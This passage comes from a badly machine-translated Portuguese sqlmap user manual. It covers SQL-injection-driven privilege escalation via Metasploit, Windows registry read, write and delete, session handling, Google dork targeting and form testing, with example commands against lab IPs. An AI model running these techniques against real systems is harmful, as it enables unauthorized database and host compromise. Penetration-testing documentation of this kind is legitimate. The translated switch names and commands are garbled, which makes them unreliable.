Por padrão o MySQL no Windows é executado como `SYSTEM` , no entanto PostgreSQL é executado como um baixo privilégio usuário `postgres` em Windows e Linux. Microsoft SQL Server 2000 por padrão é executado como `SYSTEM` , enquanto o Microsoft SQL Server 2005 e 2008 executar a maioria das vezes `o serviço de rede` e às vezes como `LOCAL SERVICE` .
É possível fornecer sqlmap com o `- priv-esc-` interruptor para executar um **processo de escalonamento de banco de dados 'privilégio utilizador** via Metasploit `getsystem` comando que inclui, entre outros, okitrap0d técnica ( MS10-015 ).

## 5,14 acesso registro do Windows

É possível acessar o Registro do Windows quando o back-end do sistema de gestão de banco de dados é ou MySQL, PostgreSQL ou Microsoft SQL Server, e quando o aplicativo web oferece suporte a consultas empilhadas. Além disso, o usuário da sessão tem que ter os privilégios necessários para acessá-lo.

**Leia um Windows valor da chave de registro**

Switch: `- -reg-leitura`

Usando esta opção, você pode ler valores chave do Registro.

**Escreva um Windows valor da chave de registro**

Switch: `- add-reg-`

Usando esta opção, você pode escrever valores chave do Registro.

**Excluir uma chave do registro do Windows**

Switch: `- del-reg-`

Usando esta opção, você pode excluir chaves de registro.

**Auxiliares chaves de registro**

Switches: `- -reg-chave` , `- que o registro de valor` , `- que o registro de dados` e `- reg-tipo`

Essas opções podem ser usadas para fornecer dados necessários para um bom funcionamento de opções `- que o registro de leitura` , `- add-reg-` e `- -`

`reg-del` . Assim, em vez de fornecer informações chave de registro quando solicitado, você pode usá-los no prompt de comando como argumentos do programa.

Com - `-reg-chave` opção especificada usou o Windows caminho da chave de registro, com - `Reg. valor` nome do item de valor dentro de chave fornecida, com - `Reg. de dados de` dados de valor, enquanto que com - `Reg. tipo` opção que especificar o tipo do item de valor.

Uma linha de comando de exemplo para adicionar uma seção de registro chave segue:

```
$ Python sqlmap.py-u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?
id=1 - reg-adicionar \
  - Reg-key = "HKEY_LOCAL_MACHINE \ SOFTWARE \ sqlmap" - reg-O valor
de teste = - reg-type = REG_SZ - reg de dados = 1
```

# 5,15 Geral

**Acesse o tráfego HTTP (s) para um arquivo textual**

Switch: `-t`

Esta opção requer um argumento que especificado o arquivo textual que escrever todo o tráfego HTTP (s) gerado pelo sqlmap - HTTP (s) pedidos e HTTP (S) respostas.

Isso é útil principalmente para fins de depuração.

**Arquivo de sessão: salvar e retomar dados recuperados**

Switch: `-s`

Por padrão sqlmap registra todas as consultas e sua saída em um arquivo de texto chamado *arquivo de sessão* , independentemente da técnica utilizada para extrair os dados. Isso é útil se você parar a injeção por qualquer motivo e reprise-lo depois: sqlmap irá analisar o arquivo de sessão e retomar os dados enumerados a partir dele, em seguida, continuar a extração de dados a partir do ponto exato onde saiu antes de parar a ferramenta.

O arquivo da sessão padrão é `saída / TARGET_URL / sessão` , mas você pode especificar um caminho de arquivo diferente com `s-` switch.

O arquivo de sessão tem a seguinte estrutura:

```
[Hh: mm: ss MM / DD / AA]
[URL de destino] [ponto de injeção] [Parâmetros] [nome de consultas ou
informações] [saída da consulta ou valor]
```

Um usuário mais amigável arquivo textual, onde todos os dados recuperados são salvos, é o *arquivo de log* , `a saída / TARGET_URL / log` . Este arquivo pode ser útil para ver todas as informações enumeradas até o fim.

**Arquivo de sessão embutida**

Switch: `- flush-sessão`

Como você já está familiarizado com o conceito de um arquivo de sessão a partir da descrição acima, é bom saber que você pode liberar o conteúdo desse arquivo usando a opção - `flush-sessão` . Desta forma, você pode evitar os mecanismos de cache implementados por padrão no sqlmap. Outro caminho possível é remover manualmente o arquivo de sessão (s).

**Ignora os resultados da consulta armazenados no arquivo de sessão**

Switch: `- Fresh--consultas`

Como você já está familiarizado com o conceito de um arquivo de sessão a partir da descrição acima, é bom saber que você pode ignorar o conteúdo desse arquivo usando a opção `- Fresh--consultas` . Desta forma, você pode manter o arquivo de sessão intocada e para uma corrida selecionada, evitar a retomada / restauração de saída procedimentos.

**Hora prevista de chegada**

Switch: `- eta-`

É possível calcular e mostrar em tempo real o tempo estimado de chegada para recuperar cada saída da consulta. Isto é mostrado quando a técnica utilizada para recuperar a saída é qualquer um dos tipos de injecção cegos SQL.

Exemplo contra um alvo a Oracle afetadas apenas por boolean baseada injeção de SQL cego:

```
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b - eta

[...]
[Hh: mm: 01] [INFO] o back-end SGBD é Oracle
[Hh: mm: 01] [INFO] bandeira fetching
[Hh: mm: 01] [INFO] recuperar a tempo de saída da consulta
[Hh: mm: 01] [INFO] acessado: 64
17% [========>] 11/64 00:19 ETA
```

Então:

```
100% [================================================ ====] 64/64
[Hh: mm: 53] [INFO] acessado: Oracle Database 10g Enterprise Edition
versão 10.2.0.1.0 - Prod

tecnologia de aplicação web: PHP 5.2.6, Apache 2.2.9
back-end SGBD: Oracle
banner: "Oracle Database 10g Enterprise Edition versão 10.2.0.1.0 -
Prod '
```

Como você pode ver, sqlmap primeira calcula o tamanho de saída da consulta, em seguida, estima o tempo de chegada mostra o progresso em porcentagem e conta o número de caracteres de saída recuperados.

**Atualização sqlmap**

Switch: `- atualizar-`

Usando esta opção, você pode atualizar a ferramenta para a última versão de desenvolvimento diretamente do repositório de subversão. Obviamente você precisa de acesso à Internet.

Se, por qualquer motivo, esta operação falhar, executar `svn update` de sua cópia sqlmap trabalho. Ele irá realizar a operação exatamente o mesmo da chave `- update-` . Se você estiver executando sqlmap no Windows, você pode usar o cliente TartoiseSVN clicando no Windows Explorer em sua cópia sqlmap trabalhar e clicar em `Atualização` .

Isso é altamente recomendável **antes de** relatar qualquer bug para as listas de discussão .

**Salvar opções em um arquivo de configuração INI**

Switch: `- de economia`

É possível salvar as opções de linha de comando para um arquivo INI de configuração. O arquivo gerado pode então ser editado e passado para sqlmap com o `-c` opção, tal como explicado acima.

**Agir de modo não-interativo**

Switch: `- lote-`

Se você quiser sqlmap para funcionar como uma ferramenta de lote, sem qualquer interação do usuário quando sqlmap exige, você pode forçar que usando `- lote-` switch. Isso vai deixar sqlmap ir com um comportamento padrão, sempre que a entrada do usuário seria necessário.

## 5,16 Diversos

**Alerta quando uma injeção de SQL é detectado**

Switch: `- bip-`

Quando este parâmetro é fornecido, sqlmap soará a cada nova injeção de SQL que ele encontra. Ela pode ser útil quando você está no modo de processamento em lote uma saída idiota Google ou um arquivo de log proxy para que você não precisa para monitorar o terminal constantemente.

**IDS teste de detecção de cargas de injeção**

Switch: `- cheque-carga-`

Curioso para ver se um sistema de detecção de intrusão decente (IDS) pega cargas sqlmap? Use esta opção!

**Limpeza de o SGBD de sqlmap específico UDF (s) e mesa (s)**

Switch: `- limpeza-`

Recomenda-se limpar o back-end do sistema de gerenciamento de banco de sqlmap tabela temporária (s) e criou função definida pelo usuário (s) quando você é feito tomando conta do sistema operacional ou sistema de arquivos. Interruptor `- limpeza`, tentará limpar o SGBD e do sistema de arquivos sempre que possível.

**Campos de análise e teste de formulários de entrada '**

Switch: `- formas de`

Diga que você quer testar contra injeções SQL um enorme *formulário de busca* ou você quer testar um bypass login (normalmente apenas dois campos de entrada nomeada como *nome de usuário* e *senha* ), você pode passar para sqlmap a solicitação em um arquivo de solicitação ( `-r` ) , defina os dados postados em conformidade ( `- -dados` ) ou deixar sqlmap fazer isso por você! Ambos os casos acima mencionados, e muitos outros, aparecem como `<form>` e `<input>` tags em HTML corpos de resposta e é aí que este interruptor entra em jogo.

Fornecer com sqlmap `- formas-` , bem como a página onde o formulário pode ser encontrado como o URL de destino ( `-u` ) e sqlmap irá solicitar a URL de destino para você, analisar as formas que ela tem e guiá-lo através de testar a injeção de SQL em os campos do formulário de entrada (parâmetros), em vez de o URL de destino fornecido.

**Use resultados dork Google de número de página especificado**

Switch: `- g ver página-`

Comportamento padrão sqlmap com a opção `-g` é fazer uma pesquisa no Google e usar os primeiros 100 URLs resultantes de testes de injeção SQL mais. No entanto, em combinação com esta opção, você pode especificar com essa opção, `- g ver página-` , alguma outra página que o primeiro para recuperar URLs de destino.

**Mostrar Page Rank (PR) para resultados dork Google**

Switch: `- páginas-rank`

Executa outras solicitações ao Google quando `g` é fornecido e posto a exibição da página (PR) para resultados dork do Google.

**Parse DBMS mensagens de erro de páginas de resposta**

Switch: `- -parse-erros`

Se a aplicação web está configurado no modo de depuração, de modo que ela exibe nas respostas HTTP os back-end de banco de dados de gerenciamento de mensagens de erro do sistema, sqlmap pode analisar e exibi-los para você. Isso é útil para fins de depuração como entender por que uma enumeração certo ou switch aquisição não funciona - pode ser uma questão de privilégios de usuário da sessão e, neste caso, você verá uma mensagem de erro DBMS ao longo das linhas de `Acesso negado para o usuário <usuário da sessão >.`

**Replicar os dados salvos em um banco de dados sqlite3**

Switch: `- replicar-`

Se você deseja armazenar em um arquivo local de banco de dados SQLite 3 cada tabela despejados ( `- dump-` ou `- -dump-all` ), você pode fornecer com o sqlmap `- replicate-` chave na fase de despejo. Isso irá criar um `<nome_da_tabela>. sqlite3` em vez de um `<db_name> / <nome_da_tabela>. csv` arquivo para `saída / TARGET_URL / dump /` diretório. Você pode então usar sqlmap-se para ler e consultar o local criado SQLite 3 arquivo. Por exemplo, `python sqlmap.py-d sqlite :/ / / software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 - tabela .`

**Interface de assistente simples para usuários iniciantes**

Switch: `- assistente-`

Você realmente quer saber?

# 6. Licença e direitos autorais

sqlmap é liberado sob os termos da Licença Pública Geral v2 . sqlmap é protegido por seus desenvolvedores .

# 7. Renúncia

sqlmap é distribuído na esperança que possa ser útil, mas SEM QUALQUER GARANTIA, sem mesmo a garantia implícita de COMERCIALIZAÇÃO ou ADEQUAÇÃO PARA UM DETERMINADO PROPÓSITO. Veja a GNU General Public License para mais detalhes.

Faça o que fizer com esta ferramenta é exclusivamente de sua responsabilidade. Se você não está autorizado a fazer furos na rede que você está atacando estar ciente de que tal ato poderia colocar você em problemas com um monte de agências de aplicação da lei.

## 8. Autores

Bernardo Damele AG (inquis) - principal desenvolvedor. PGP Key ID: 0x05F5A30F

Miroslav Stampar (stamparm) - Desenvolvedor. PGP Key ID: 0xB5397B1B